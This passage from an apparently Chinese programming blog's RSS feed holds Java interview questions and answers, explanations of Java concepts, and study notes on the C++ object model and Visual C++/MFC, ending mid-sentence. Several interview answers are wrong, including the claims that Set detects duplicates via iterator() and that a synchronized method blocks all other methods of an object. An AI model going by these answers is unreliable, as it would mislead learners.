		<p>　　第十五，Overload和Override的区别。Overloaded的方法是否可以改变返回值的类型? </p>
		<p>　　方法的重写Overriding和重载Overloading是Java多态性的不同表现。重写Overriding是父类与子类之间多态性的一种表现，重载Overloading是一个类中多态性的一种表现。如果在子类中定义某方法与其父类有相同的名称和参数，我们说该方法被重写 (Overriding)。子类的对象使用这个方法时，将调用子类中的定义，对它而言，父类中的定义如同被“屏蔽”了。如果在一个类中定义了多个同名的方法，它们或有不同的参数个数或有不同的参数类型，则称为方法的重载(Overloading)。Overloaded的方法是可以改变返回值的类型。 </p>
		<p>　　第十六，Set里的元素是不能重复的，那么用什么方法来区分重复与否呢? 是用==还是equals()? 它们有何区别? </p>
		<p>　　Set里的元素是不能重复的，那么用iterator()方法来区分重复与否。equals()是判读两个Set是否相等。 </p>
		<p>　　equals()和==方法决定引用值是否指向同一对象equals()在类中被覆盖，为的是当两个分离的对象的内容和类型相配的话，返回真值。 </p>
		<p>　　第十七，给我一个你最常见到的runtime exception。 </p>
		<p>　　ArithmeticException, ArrayStoreException, BufferOverflowException, BufferUnderflowException, CannotRedoException, CannotUndoException, ClassCastException, CMMException, ConcurrentModificationException, DOMException, EmptyStackException, IllegalArgumentException, IllegalMonitorStateException, IllegalPathStateException, IllegalStateException, <br />ImagingOpException, IndexOutOfBoundsException, MissingResourceException, NegativeArraySizeException, NoSuchElementException, NullPointerException, ProfileDataException, ProviderException, RasterFormatException, SecurityException, SystemException, UndeclaredThrowableException, UnmodifiableSetException, UnsupportedOperationException </p>
		<p>　　第十八，error和exception有什么区别? </p>
		<p>　　error 表示恢复不是不可能但很困难的情况下的一种严重问题。比如说内存溢出。不可能指望程序能处理这样的情况。</p>
		<p>　　exception 表示一种设计或实现问题。也就是说，它表示如果程序运行正常，从不会发生的情况。 </p>
		<p>
				<br />　　第十九，List, Set, Map是否继承自Collection接口? </p>
		<p>　　List，Set是 </p>
		<p>　　Map不是 </p>
		<p>　　第二十，abstract class和interface有什么区别? </p>
		<p>　　声明方法的存在而不去实现它的类被叫做抽象类（abstract class），它用于要创建一个体现某些基本行为的类，并为该类声明方法，但不能在该类中实现该类的情况。不能创建abstract 类的实例。然而可以创建一个变量，其类型是一个抽象类，并让它指向具体子类的一个实例。不能有抽象构造函数或抽象静态方法。Abstract 类的子类为它们父类中的所有抽象方法提供实现，否则它们也是抽象类为。取而代之，在子类中实现该方法。知道其行为的其它类可以在类中实现这些方法。 </p>
		<p>　　接口（interface）是抽象类的变体。在接口中，所有方法都是抽象的。多继承性可通过实现这样的接口而获得。接口中的所有方法都是抽象的，没有一个有程序体。接口只可以定义static final成员变量。接口的实现与子类相似，除了该实现类不能从接口定义中继承行为。当类实现特殊接口时，它定义（即将程序体给予）所有这种接口的方法。然后，它可以在实现了该接口的类的任何对象上调用接口的方法。由于有抽象类，它允许使用接口名作为引用变量的类型。通常的动态联编将生效。引用可以转换到接口类型或从接口类型转换，instanceof 运算符可以用来决定某对象的类是否实现了接口。 </p>
		<p>　　第二十一，abstract的method是否可同时是static,是否可同时是native，是否可同时是synchronized? </p>
		<p>　　都不能 </p>
		<p>　　第二十二，接口是否可继承接口? 抽象类是否可实现(implements)接口? 抽象类是否可继承实体类(concrete class)? </p>
		<p>　　接口可以继承接口。抽象类可以实现(implements)接口，抽象类是否可继承实体类，但前提是实体类必须有明确的构造函数。 </p>
		<p>　　第二十三，启动一个线程是用run()还是start()? </p>
		<p>　　启动一个线程是调用start()方法，使线程所代表的虚拟处理机处于可运行状态，这意味着它可以由JVM调度并执行。这并不意味着线程就会立即运行。run()方法可以产生必须退出的标志来停止一个线程。 </p>
		<p> </p>
		<p>　　第二十四，构造器Constructor是否可被override? </p>
		<p>　　构造器Constructor不能被继承，因此不能重写Overriding，但可以被重载Overloading。 </p>
		<p>　　第二十五，是否可以继承String类? </p>
		<p>　　String类是final类故不可以继承。 </p>
		<p>　　第二十六，当一个线程进入一个对象的一个synchronized方法后，其它线程是否可进入此对象的其它方法? </p>
		<p>　　不能，一个对象的一个synchronized方法只能由一个线程访问。 </p>
		<p>　　第二十七，try {}里有一个return语句，那么紧跟在这个try后的finally {}里的code会不会被执行，什么时候被执行，在return前还是后? </p>
		<p>　　会执行，在return前执行。 </p>
		<p>　　第二十八，编程题: 用最有效率的方法算出2乘以8等於几? </p>
		<p>　　有C背景的程序员特别喜欢问这种问题。 </p>
		<p>　　2 &lt;&lt; 3 </p>
		<p>　　第二十九，两个对象值相同(x.equals(y) == true)，但却可有不同的hash code，这句话对不对? </p>
		<p>　　不对，有相同的hash code。 </p>
		<p>　　第三十，当一个对象被当作参数传递到一个方法后，此方法可改变这个对象的属性，并可返回变化后的结果，那么这里到底是值传递还是引用传递? </p>
		<p>　　是值传递。Java 编程语言只由值传递参数。当一个对象实例作为一个参数被传递到方法中时，参数的值就是对该对象的引用。对象的内容可以在被调用的方法中改变，但对象的引用是永远不会改变的。 </p>
		<p>
				<br />　　第三十一，swtich是否能作用在byte上，是否能作用在long上，是否能作用在String上? </p>
		<p>　　switch（expr1）中，expr1是一个整数表达式。因此传递给 switch 和 case 语句的参数应该是 int、 short、 char 或者 byte。long,string 都不能作用于swtich。 </p>
		<p>　　第三十二，编程题: 写一个Singleton出来。</p>
		<p>　　Singleton模式主要作用是保证在Java应用程序中，一个类Class只有一个实例存在。 </p>
		<p>　　一般Singleton模式通常有几种种形式: </p>
		<p>　　第一种形式: 定义一个类，它的构造函数为private的，它有一个static的private的该类变量，在类初始化时实例话，通过一个public的getInstance方法获取对它的引用,继而调用其中的方法。 </p>
		<p>public class Singleton { <br />　　private Singleton(){} <br />　　//在自己内部定义自己一个实例，是不是很奇怪？ <br />　　//注意这是private 只供内部调用 <br />　　private static Singleton instance = new Singleton(); <br />　　//这里提供了一个供外部访问本class的静态方法，可以直接访问　　 <br />　　public static Singleton getInstance() { <br />　　　　return instance; 　　 <br />　　 } <br />} </p>
		<p>　　第二种形式: </p>
		<p>public class Singleton { <br />　　private static Singleton instance = null; <br />　　public static synchronized Singleton getInstance() { <br />　　//这个方法比上面有所改进，不用每次都进行生成对象，只是第一次　　　 　 <br />　　//使用时生成实例，提高了效率！ <br />　　if (instance==null) <br />　　　　instance＝new Singleton(); <br />return instance; 　　} <br />} </p>
		<p>　　其他形式: </p>
		<p>　　定义一个类，它的构造函数为private的，所有方法为static的。 </p>
		<p>　　一般认为第一种形式要更加安全些 </p>
		<p>　　第三十三 Hashtable和HashMap </p>
		<p>　　Hashtable继承自Dictionary类，而HashMap是Java1.2引进的Map interface的一个实现 </p>
		<p>　　HashMap允许将null作为一个entry的key或者value，而Hashtable不允许 </p>
		<p>　　还有就是，HashMap把Hashtable的contains方法去掉了，改成containsvalue和containsKey。因为contains方法容易让人引起误解。 </p>
		<p>　　最大的不同是，Hashtable的方法是Synchronize的，而HashMap不是，在多个线程访问Hashtable时，不需要自己为它的方法实现同步，而HashMap就必须为之提供外同步。 </p>
		<p>　　Hashtable和HashMap采用的hash/rehash算法都大概一样，所以性能不会有很大的差异。</p>
		<p>　　<br />　　转java中文站<br /><br />对于这个系列里的问题，每个学Java的人都应该搞懂。当然，如果只是学Java玩玩就无所谓了。如果你认为自己已经超越初学者了，却不很懂这些问题，请将你自己重归初学者行列。内容均来自于CSDN的经典老贴。</p>
		<p>问题一：我声明了什么！</p>
		<p>String s = "Hello world!";</p>
		<p>许多人都做过这样的事情，但是，我们到底声明了什么？回答通常是：一个String，内容是“Hello world!”。这样模糊的回答通常是概念不清的根源。如果要准确的回答，一半的人大概会回答错误。<br />这个语句声明的是一个指向对象的引用，名为“s”，可以指向类型为String的任何对象，目前指向"Hello world!"这个String类型的对象。这就是真正发生的事情。我们并没有声明一个String对象，我们只是声明了一个只能指向String对象的引用变量。所以，如果在刚才那句语句后面，如果再运行一句：</p>
		<p>String string = s;</p>
		<p>我们是声明了另外一个只能指向String对象的引用，名为string，并没有第二个对象产生，string还是指向原来那个对象，也就是，和s指向同一个对象。</p>
		<p>问题二："=="和equals方法究竟有什么区别？</p>
		<p>==操作符专门用来比较变量的值是否相等。比较好理解的一点是：<br />int a=10;<br />int b=10;<br />则a==b将是true。<br />但不好理解的地方是：<br />String a=new String("foo");<br />String b=new String("foo");<br />则a==b将返回false。</p>
		<p>根据前一帖说过，对象变量其实是一个引用，它们的值是指向对象所在的内存地址，而不是对象本身。a和b都使用了new操作符，意味着将在内存中产生两个内容为"foo"的字符串，既然是“两个”，它们自然位于不同的内存地址。a和b的值其实是两个不同的内存地址的值，所以使用"=="操作符，结果会是false。诚然，a和b所指的对象，它们的内容都是"foo"，应该是“相等”，但是==操作符并不涉及到对象内容的比较。<br />对象内容的比较，正是equals方法做的事。</p>
		<p>看一下Object对象的equals方法是如何实现的：<br />boolean equals(Object o){</p>
		<p>return this==o;</p>
		<p>}<br />Object对象默认使用了==操作符。所以如果你自创的类没有覆盖equals方法，那你的类使用equals和使用==会得到同样的结果。同样也可以看出，Object的equals方法没有达到equals方法应该达到的目标：比较两个对象内容是否相等。因为答案应该由类的创建者决定，所以Object把这个任务留给了类的创建者。</p>
		<p>看一下一个极端的类：<br />Class Monster{<br />private String content;<br />...<br />boolean equals(Object another){ return true;}</p>
		<p>}<br />我覆盖了equals方法。这个实现会导致无论Monster实例内容如何，它们之间的比较永远返回true。</p>
		<p>所以当你是用equals方法判断对象的内容是否相等，请不要想当然。因为可能你认为相等，而这个类的作者不这样认为，而类的equals方法的实现是由他掌握的。如果你需要使用equals方法，或者使用任何基于散列码的集合（HashSet,HashMap,HashTable），请察看一下java doc以确认这个类的equals逻辑是如何实现的。</p>
		<p>问题三：String到底变了没有？</p>
		<p>没有。因为String被设计成不可变(immutable)类，所以它的所有对象都是不可变对象。请看下列代码：</p>
		<p>String s = "Hello";<br />s = s + " world!";</p>
		<p>s所指向的对象是否改变了呢？从本系列第一篇的结论很容易导出这个结论。我们来看看发生了什么事情。在这段代码中，s原先指向一个String对象，内容是"Hello"，然后我们对s进行了+操作，那么s所指向的那个对象是否发生了改变呢？答案是没有。这时，s不指向原来那个对象了，而指向了另一个String对象，内容为"Hello world!"，原来那个对象还存在于内存之中，只是s这个引用变量不再指向它了。<br />通过上面的说明，我们很容易导出另一个结论，如果经常对字符串进行各种各样的修改，或者说，不可预见的修改，那么使用String来代表字符串的话会引起很大的内存开销。因为String对象建立之后不能再改变，所以对于每一个不同的字符串，都需要一个String对象来表示。这时，应该考虑使用StringBuffer类，它允许修改，而不是每个不同的字符串都要生成一个新的对象。并且，这两种类的对象转换十分容易。<br />同时，我们还可以知道，如果要使用内容相同的字符串，不必每次都new一个String。例如我们要在构造器中对一个名叫s的String引用变量进行初始化，把它设置为初始值，应当这样做：<br />public class Demo {<br />private String s;<br />...<br />public Demo {<br />s = "Initial Value";<br />}<br />...<br />}<br />而非<br />s = new String("Initial Value");<br />后者每次都会调用构造器，生成新对象，性能低下且内存开销大，并且没有意义，因为String对象不可改变，所以对于内容相同的字符串，只要一个String对象来表示就可以了。也就说，多次调用上面的构造器创建多个对象，他们的String类型属性s都指向同一个对象。<br />上面的结论还基于这样一个事实：对于字符串常量，如果内容相同，Java认为它们代表同一个String对象。而用关键字new调用构造器，总是会创建一个新的对象，无论内容是否相同。<br />至于为什么要把String类设计成不可变类，是它的用途决定的。其实不只String，很多Java标准类库中的类都是不可变的。在开发一个系统的时候，我们有时候也需要设计不可变类，来传递一组相关的值，这也是面向对象思想的体现。不可变类有一些优点，比如因为它的对象是只读的，所以多线程并发访问也不会有任何问题。当然也有一些缺点，比如每个不同的状态都要一个对象来代表，可能会造成性能上的问题。所以Java标准类库还提供了一个可变版本，即StringBuffer。<br />问题四：final关键字到底修饰了什么？</p>
		<p>final使得被修饰的变量"不变"，但是由于对象型变量的本质是“引用”，使得“不变”也有了两种含义：引用本身的不变，和引用指向的对象不变。</p>
		<p>引用本身的不变：<br />final StringBuffer a=new StringBuffer("immutable");<br />final StringBuffer b=new StringBuffer("not immutable");<br />a=b;//编译期错误</p>
		<p>引用指向的对象不变：<br />final StringBuffer a=new StringBuffer("immutable");<br />a.append(" broken!"); //编译通过</p>
		<p>可见，final只对引用的“值”(也即它所指向的那个对象的内存地址)有效，它迫使引用只能指向初始指向的那个对象，改变它的指向会导致编译期错误。至于它所指向的对象的变化，final是不负责的。这很类似==操作符：==操作符只负责引用的“值”相等，至于这个地址所指向的对象内容是否相等，==操作符是不管的。</p>
		<p>理解final问题有很重要的含义。许多程序漏洞都基于此----final只能保证引用永远指向固定对象，不能保证那个对象的状态不变。在多线程的操作中,一个对象会被多个线程共享或修改，一个线程对对象无意识的修改可能会导致另一个使用此对象的线程崩溃。一个错误的解决方法就是在此对象新建的时候把它声明为final，意图使得它“永远不变”。其实那是徒劳的。</p>
		<p>问题五：到底要怎么样初始化！</p>
		<p>本问题讨论变量的初始化，所以先来看一下Java中有哪些种类的变量。<br />1. 类的属性，或者叫值域<br />2. 方法里的局部变量<br />3. 方法的参数</p>
		<p>对于第一种变量，Java虚拟机会自动进行初始化。如果给出了初始值，则初始化为该初始值。如果没有给出，则把它初始化为该类型变量的默认初始值。</p>
		<p>int类型变量默认初始值为0<br />float类型变量默认初始值为0.0f<br />double类型变量默认初始值为0.0<br />boolean类型变量默认初始值为false<br />char类型变量默认初始值为0(ASCII码)<br />long类型变量默认初始值为0<br />所有对象引用类型变量默认初始值为null，即不指向任何对象。注意数组本身也是对象，所以没有初始化的数组引用在自动初始化后其值也是null。</p>
		<p>对于两种不同的类属性，static属性与instance属性，初始化的时机是不同的。instance属性在创建实例的时候初始化，static属性在类加载，也就是第一次用到这个类的时候初始化，对于后来的实例的创建，不再次进行初始化。这个问题会在以后的系列中进行详细讨论。</p>
		<p>对于第二种变量，必须明确地进行初始化。如果再没有初始化之前就试图使用它，编译器会抗议。如果初始化的语句在try块中或if块中，也必须要让它在第一次使用前一定能够得到赋值。也就是说，把初始化语句放在只有if块的条件判断语句中编译器也会抗议，因为执行的时候可能不符合if后面的判断条件，如此一来初始化语句就不会被执行了，这就违反了局部变量使用前必须初始化的规定。但如果在else块中也有初始化语句，就可以通过编译，因为无论如何，总有至少一条初始化语句会被执行，不会发生使用前未被初始化的事情。对于try-catch也是一样，如果只有在try块里才有初始化语句，编译部通过。如果在catch或finally里也有，则可以通过编译。总之，要保证局部变量在使用之前一定被初始化了。所以，一个好的做法是在声明他们的时候就初始化他们，如果不知道要出事化成什么值好，就用上面的默认值吧！</p>
		<p>其实第三种变量和第二种本质上是一样的，都是方法中的局部变量。只不过作为参数，肯定是被初始化过的，传入的值就是初始值，所以不需要初始化。</p>
		<p>问题六：instanceof是什么东东？</p>
		<p>instanceof是Java的一个二元操作符，和==，&gt;，&lt;是同一类东东。由于它是由字母组成的，所以也是Java的保留关键字。它的作用是测试它左边的对象是否是它右边的类的实例，返回boolean类型的数据。举个例子：</p>
		<p>String s = "I AM an Object!";<br />boolean isObject = s instanceof Object;</p>
		<p>我们声明了一个String对象引用，指向一个String对象，然后用instancof来测试它所指向的对象是否是Object类的一个实例，显然，这是真的，所以返回true，也就是isObject的值为True。<br />instanceof有一些用处。比如我们写了一个处理账单的系统，其中有这样三个类：</p>
		<p>public class Bill {//省略细节}<br />public class PhoneBill extends Bill {//省略细节}<br />public class GasBill extends Bill {//省略细节}</p>
		<p>在处理程序里有一个方法，接受一个Bill类型的对象，计算金额。假设两种账单计算方法不同，而传入的Bill对象可能是两种中的任何一种，所以要用instanceof来判断：</p>
		<p>public double calculate(Bill bill) {<br />if (bill instanceof PhoneBill) {<br />//计算电话账单<br />}<br />if (bill instanceof GasBill) {<br />//计算燃气账单<br />}<br />...<br />}<br />这样就可以用一个方法处理两种子类。</p>
		<p>然而，这种做法通常被认为是没有好好利用面向对象中的多态性。其实上面的功能要求用方法重载完全可以实现，这是面向对象变成应有的做法，避免回到结构化编程模式。只要提供两个名字和返回值都相同，接受参数类型不同的方法就可以了：</p>
		<p>public double calculate(PhoneBill bill) {<br />//计算电话账单<br />}</p>
		<p>public double calculate(GasBill bill) {<br />//计算燃气账单<br />}</p>
		<p>所以，使用instanceof在绝大多数情况下并不是推荐的做法，应当好好利用多态。</p>
		<p>
				<a href="http://www.javaresearch.org/faq/thread.jsp?column=723&amp;thread=22395">http://www.javaresearch.org/faq/thread.jsp?column=723&amp;thread=22395</a>
				<br />
		</p>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/24772.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2007-03-27 15:34 <a href="http://www.cnitblog.com/weitom1982/archive/2007/03/27/24772.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>深度探索C++对象模型 </title><link>http://www.cnitblog.com/weitom1982/archive/2006/06/26/12885.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Mon, 26 Jun 2006 08:40:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/06/26/12885.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/12885.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/06/26/12885.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/12885.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/12885.html</trackback:ping><description><![CDATA[
		<table cellspacing="5" cellpadding="0" width="99%" align="center" border="0">
				<tbody>
						<tr>
								<td class="titlc" align="middle" width="100%">
										<hr align="center" noshade="" size="1" />
								</td>
						</tr>
				</tbody>
		</table>
		<table cellspacing="0" cellpadding="0" width="98%" align="center" border="0">
				<tbody>
						<tr>
								<td class="contc" width="100%">
										<div class="contc">第一章：关于对象（Object Lessons） <br />　　读完这一章使我想到了一个很久以前看到的一个笑话，编写一个HELLO WORLD的程序，随着水平和职务的不一样，程序代码也随着变化。当初看时完全当作笑话来看，现在看来写此笑话的人水平不一般。如果要使你的代码能够最大限度的适应不同的运行环境，和最大限度的复用，则在设计和编写的过程中需要考虑的问题很多，因此代码已变的不在具有C语言的简洁，高效。而牺牲了这些优势换来的是更好的封装。当然如果你只是要打印Hello World则不必这样做了。 <br /><br />　　以C++的思维方式解决问题，对于对C语言已经很熟悉的人来说会很不能适应。需要一段时间来适应，不然会将代码写的似是而非。而且不能邯郸学步，必须从思想上彻底的C++（OO），如果只是依葫芦画瓢，那结果很可能是用C++的语法编写C式的程序。本人曾经犯的典型的低级的错误之一，就是无意识的一个类无限制的扩充，完全没有考虑到类的多层结构（基类-派生类），需要属性或方法便在类中增加，虽然也用到了多态、重载等一些OO的设计方式，但最后这个类庞大无比，除了在当前系统中任劳任怨的工作外，一点复用的可能都没有，如果另一个系统还需要一个类似的东西，那只能重新设计实现一个新的类。并且最致命的是在维护更新时带来得麻烦，需要不断全部编译不说，而且代码在用了大量注释后，在过一段时间读起来也是一件重脑力劳动。及失去了C的简洁清晰和高效，也不完全具备C++的面向对象的特性。这根本不能叫C++程序。（我想有时间重写一下以前代码也会有很多收获，温故而知新吗）C和C++在编程思想上是相互矛盾的。这也就是说如果你想学C++，完全可以不学C，只需要一本好书和一个不太笨的大脑再加上努力就可以了，如果你已有C的经验在一定的情况下反而会捣乱。 <br /><br />　　本章是对对象模型的一个大略浏览。既然我们选择了C++而不是C作为开发工具，那我们的编程思想也应该转为C++的，而不能再延续C的Procedural方式。我们必须学会C++的思考方式。采用抽象数据类型或用一个多层的class体系对数据以及数据处理函数进行封装，只有摆脱C程序的使用全局数据的惯性，才能充分发挥出C++对象模型的强大威力。 <br /><br />　　在C++中有两种数据成员static和nonstatic，以及三种成员函数static、nonstatic和virtual。C++对象模型对内存空间和存取时间做了优化，nonstatic的数据成员被置于类对象之内，而static数据成员被置于类对象之外。static和nonstatic成员函数被放在类对象之外。而virtual函数是由类对象的一个指向vtbl（虚函数表）的指针vptr来进行支持。而vptr的设定和重置由类的构造函数、析构函数以及copy assignment运算符自动完成。 <br /><br />　　我们设计的每一个类几乎都要有一个或多个构造函数、析构函数和一个Assignment运算符。他们的作用是构造函数产生一个新的对象并确定它被初始化。析构函数销毁一个对象并确定它已经被适当的清理（避免出现内存泄露的问题），Assignment运算符给对象一个新值。 <br /><br />　　这是第一章的第一部分，由于雷神最近几天在做模式小组的主页，时间周转不开了。本想写完整个一章再发，考虑一下还是先发一部分吧。原因有2。1、第一章的后半部可能又要拖上10天半个月的。2、笔记实在难写，我不愿意将笔记做成将书上的重点再抄一边，而是喜欢尽量将自己的理解描述出来，谁知第一章便如此的难以消化，已经反复读了3遍，还是有些夹生。所以本着对大家和自己负责的态度，雷神准备再看它3遍在说。突然发现自己的C++还差的很远，好可怕呀。<br /><br /><br /><br /><br />笔记贴出后，有朋友便给我提出了一个很好的建议，原文如下： <br />　　史列因：我刚看了你写的“深度探索C++对象模型(1)”，感觉很不错。不过我有一个建议：你说“谁知第一章便如此的难以消化，已经反复读了3遍，还是有些夹生”是很自然的。第一章是一个总览，如果你能全看懂，后面的就没什么看的必要了。第一章的内容后面都有详细介绍，开始只要有个大概印象就可以了。这本书中很多内容都是前后重复的。我建议你先不管看懂看不懂，只管向后看，之后再从头看几遍，那样效果好得多。 <br /><br />　　我想史列因说的应该是一种非常好的阅读方式，类似《深度探索C++对象模型》这样的技术书籍，需要的是理解，和学习英文不同，不能靠死记硬背，如果出现理解不了的情况，那你不妨将书放下，打一盘红警（俺骄傲的说，我是高手）。或者跳过去也是一个不错的方法。好了，我们还是继续研究C++的对象模型吧。 <br /><br />　　简单的对象模型 <br /><br />　　看书上的例子（注释是表示solt的索引） <br /><br /><br />Class Point<br />{<br />public:<br />Point(float xval); //1<br />virtual ~Point(); //2 <br /><br />float x() const; //3<br />static int PointCount(); //4<br />protected:<br />virtual ostream&amp; print(ostream &amp;os) const; //5<br />float _x; //6<br />static int _point_count; //7<br />}<br /><br /><br />　　每一个Object是一系列的Slots,每一个Slots指向一个members。 <br /><br />　　表格驱动对象模型 <br /><br />　　当构造对象时便会有一个类似指针数组的东西存放着类数据成员在内存中位置的指针，还有指向成员函数的指针。为了对一个类产生的所有对象实体有一个标准的表达，所以对象模型采用了表格，把所有的数据成员放在数据成员表中，把所有的成员函数的地址放在了成员函数表中，而类对象本身有指向这两个表的指针。 <br /><br />　　为了便于理解，雷神来举个不恰当的例子说明一下，注意是不很恰当的例子 我们把写字楼看成一个类，写字楼中的人看成是类的数据成员，而每一个租用写字楼的公司看成类的成员函数。我们来看一个实体，我们叫它雷神大厦。雷神大厦的物业管理部门需要登记每个出入写字楼的人，以便发通行证，并且需要登记每个公司的房间号，并制作了一个牌子在大厅的墙上。实际上这便是类的对象构造过程。你可以通过大厅墙上的公司列表找到任何一家在雷神大厦租房的公司，也可以通过物业提供的花名册找到任何一个出入雷神大厦的人。 <br /><br />　　真是一个考验大家想象力的例子。（如果你有更好例子的别忘了和雷神交流一下）。 <br /><br />　　C++的对象模型 <br /><br />　　C++对象模型是从简单对象模型派生得来，并对内存空间和存取时间做了优化。它引入了虚函数表（virtual table）的方案。每个类产生一堆指向虚函数的指针，放在表格中。每个类的对象被添加了一个指针（vptr），指向相关的虚函数表（virtual table）。而这个指针是由每一个类的constructor、destructor和copy assignment运算符自动完成。 <br /><br />　　我们还用上面的雷神大厦举例，物业管理为了提高效率，对长期稳定的公司和人员不再登记，指对不稳定或不能确定的公司进行登记，以便于管理。 <br /><br />　　再次考验大家的想象力。 <br /><br />　　得出结论，C++对象模型和双表格对象模型相比，提高了空间和存储时间的效率，却失去了弹性。 <br /><br />　　试想一下，没有整个雷神大厦人员和公司的名录，如果他们发生变化，则需要物业管理部门做很多工作。重新确定长期稳定的公司和人员是那些。对应应用程序则需要重新编译。（这次更离谱，但为了保持连贯，大家请进行理解性的思考，不要局限字面的意思） <br /><br />　　这篇笔记是分成多次一点点写的，甚至每天抽出一个小时都不能保证（没办法最近实在忙），因此可能会有不连贯，如果你读起来很不爽认为雷神的思维短路了，那属于正常。不过雷神还是再上传之前努力的将思路进行了一下整理。希望能把这些支言片语串起来。 <br /><br />　　最后说一句阅读《深入C++对象模型》一书感觉没有什么可以被成为重点的东西，感觉每一个字都不应该放过，全是重点。经过反复阅读，雷神好象有些开窍，继续努力呀，我和大家都是。</div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/12885.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-06-26 16:40 <a href="http://www.cnitblog.com/weitom1982/archive/2006/06/26/12885.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>VC技术内幕笔记</title><link>http://www.cnitblog.com/weitom1982/archive/2006/06/26/12884.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Mon, 26 Jun 2006 08:38:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/06/26/12884.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/12884.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/06/26/12884.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/12884.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/12884.html</trackback:ping><description><![CDATA[
		<table style="BORDER-COLLAPSE: collapse" bordercolor="#c0c0c0" cellspacing="0" cellpadding="3" width="530" align="center" bgcolor="#ffffff" border="1">
				<tbody>
						<tr>
								<td align="middle" width="90%" height="22">
										<span class="style6">
												<strong>雷神</strong>
										</span>
								</td>
						</tr>
						<tr>
								<td bgcolor="#ffffff" height="22">（摘抄）VC技术内幕笔记第一天：<br /><br />WINDOWS应用程序一定要有WinMain函数，该函数用来完成一些特殊的任务，象创建程序的主窗口，主窗口用来处理消息的代码。MFC将WinMain隐藏在框架中，不象写SDK程序时可以很容易的找到它。<br /><br />WINDOWS采用的消息处理机制也交给了程序框架，我们不必担心如何使这些消息和代码联系起来。并且WINDOWS定义好了一些消息，当窗口被创建时系统就会发送WM_CREATE消息，当点击鼠标左键时便系统会发送WM_LBUTTONDOWN消息，当用户按下键盘时系统会发送WM_CHAR消息，当用户关闭窗口时系统会发送WM_CLOSE消息，当用户进行菜单项选择或单击按钮时系统回发送WM_COMMAND消息，什么都不做系统还会发送WM_TIMER消息。先不说别的，先搞清出这几个消息再说。从MSDN中可以很方便的找到关于这几个消息的帮助文档。<br /><br />WINDOWS提供通用的图形设备接口（GUI），我们通过调用（GDI）函数和硬件打交道，不必理会设备环境，WINDOWS会自动将设备环境结构映射到相应的物理设备，这应该就是设备无关性吧。<br />动态连接库（DLL）应该是代码重用的典型例子（不知道可不可这样说），把一些模块、自己新编的类单独调试并编译成DLL，及增加代码的可读性也提高了程序模块的灵活性。<br /><br />用Developer Studio建立项目Developer Studio会创建很多中间文件，这些文件还是有必要说一下的。<br /><br />APS //支持ResourceView<br />BSC //浏览器信息文件<br />CLW //支持ClassWizard<br />DSP //项目文件，不能删除和用文本编辑器编辑<br />DSW //工作空间文件，不能删除和用文本编辑器编辑<br />MAK //外部的创建文件<br />NCB //支持ClassView<br />OPT //保存工作空间的配置<br />PLG //建立日志文件<br /><br />这些文件都有一定的作用，拿CLW来说，如果你有一个新类，需要加到ClassWizard中，除了将相应的.h 和.cpp加到DSP中还需要重新编译CLW。PLG文件记录着你的项目配置信息。<br /><br />VC++的源程序浏览器能够使我们从类或函数的角度来了解或编辑程序，而不是直接从文件入手。在看别人的源代码时如果能熟练的使用源代码浏览器将会事倍功半。源程序浏览器主要的查看状态有以下几种：<br /><br />Definitions and References——选择任何函数、变量、类型、宏定义可以看到它在项目中的定义，并且在何处和什么地方用到它。<br /><br />Call Graph/Caller Graph——对于所选择的函数，给出它的调用与被调用函数的图示。<br /><br />Derived Class Graph/Base Class Graph——给出类层次关系的图形表示，可以看到所选择的类的派生类和基类以及成员。<br /><br />File Outline——对于所选的文件，列出文件中的类、函数和数据成员，同时还显示它们定义的位置和使用位置。<br /><br />可见Source Brower比起Class View来功能多了很多也更加好用，以前我就不知道，因为一般的VC++书没有讲或根本没有注意这块，看到讲菜单、操作界面、编辑器时总是跳过，心想“没吃过猪肉还没见过猪跑？这种东西不用学就会”。可实际上还是应该仔细的看看的。<br /><br />对于本章学习雷神建议大家在VC++6中用AppWizard生成一个空的程序，然后试着看看都有那些文件，和他们的类层次、函数、宏、结构的定义，我就是这样干的，学编程不动手是不行的。<br />第二天：Microsoft基本类库应用程序框架<br /><br />◎MFC是C++的Microsoft Windows API，如果想要开发WINDOWS的应用程序当然VC/MFC是开发环境的首选。<br />◎MFC产生的应用程序使用了标准化的结构。（我现在还体会不出这点的优势所在，请高手指点）<br />◎MFC产生的应用程序短而运行速度快。这应该说的是可以很容易的建立动态连接，其实程序还是需要大量的DLL，不过由于WINDOWS上有很多可以用DLL所以应用程序很短，我是这样想的不知对否。<br />◎VC++工具降低了编码的复杂性。这点不容质疑比起TC方便太多了。<br />◎MFC库功能非常丰富。书上列出了MFC从1.0--4.21的一些特性，我就不废话了，大家应该看看。<br /><br />　　这一章节主要介绍了MFC库的优点，其实我本人认为在某些特定环境下其实MFC不一定就象说的那样好。我想不会有人用纯VC做MIS系统吧，太累了。我是这样理解编程序的，如果把学编程看成学武的话，C/C++语言及编程思想（OOP）是内功，API是基本功（编程思想是内功、API是基本功这适用于任何WIN32编程，不论Visual 